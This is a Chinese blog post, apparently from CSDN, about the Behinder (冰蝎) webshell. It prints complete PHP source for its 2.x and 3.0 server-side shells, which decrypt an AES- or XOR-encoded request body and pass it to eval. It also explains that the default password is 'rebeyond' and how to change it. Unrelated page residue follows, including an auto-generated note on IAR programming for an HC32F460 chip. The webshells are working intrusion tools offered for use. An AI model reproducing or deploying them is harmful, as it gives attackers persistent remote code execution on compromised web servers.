冰蝎新老版本使用方式注意事项

前言

今天遇到一个很奇怪的问题,冰蝎在使用过程中明明马上传的也正确,就是连接不上,后来才发现是新版3.x和旧版2.x使用的马不一样导致的结果,先记录如下(以PHP为例):
旧版的马:

<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __construct($p) {eval($p."");}}
	@new C($params);
}
?>

新版3.0的马:

<?php
@error_reporting(0);
session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST')
{
    $key="e45e329feb5d925b";
	$_SESSION['k']=$key;
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
}
?>

可以看到在旧版里,使用的是GET方式来获取参数,新版的则是利用了匹配机制,"e45e329feb5d925b"是rebeyond md5值得前16位,所以连接时要使用rebeyond作为密码。
如果想修改这个密码的话:
在这里插入图片描述
把密码改一下就行。

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
IAR是一种常用的集成开发环境,用于嵌入式系统的开发。在使用IAR进行华大芯片HC32F460的IAP在线编程或在线升级程序时,需要注意以下几点: 1. 确保使用的IAR版本与芯片的支持版本匹配。不同版本的IAR可能存在兼容性问题,因此确保选择正确的版本是非常重要的。 2. 在进行在线编程或升级之前,确保已经正确配置好芯片的引导模式。引导模式的设置可能包括引导方式、引导源选择等。根据具体的芯片手册和应用需求,正确配置引导模式是在线编程的先决条件。 3. 在使用IAR进行在线编程时,需要将目标设备正确连接到计算机。通过JTAG、SWD等调试接口,将芯片与开发工具连接起来,以便进行在线编程或升级。 4. 在进行在线编程或升级之前,需要确保目标设备的固件已经合理备份。在线编程可能会对设备的原始固件进行修改,为了防止数据丢失或损坏,备份固件是一个很好的习惯。 5. 在进行在线编程或升级时,要确保所使用的IAR工程正确设置了相关的编译和链接选项。这些选项包括目标地址、存储器映射、编译优化等。正确的设置可以确保生成的固件与目标设备匹配。 总之,使用IAR进行华大芯片HC32F460的IAP在线编程或在线升级程序时,需要注意软件和硬件的兼容性、引导模式的配置、设备的连接、固件的备份和编译选项的设置等方面的注意事项。这些注意事项可以确保在线编程的顺利进行。<span class="em">1</span> #### 引用[.reference_title] - *1* [基于IAR的HC32F460 IAP在线升级注意事项](https://download.csdn.net/download/star6112/86930335)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值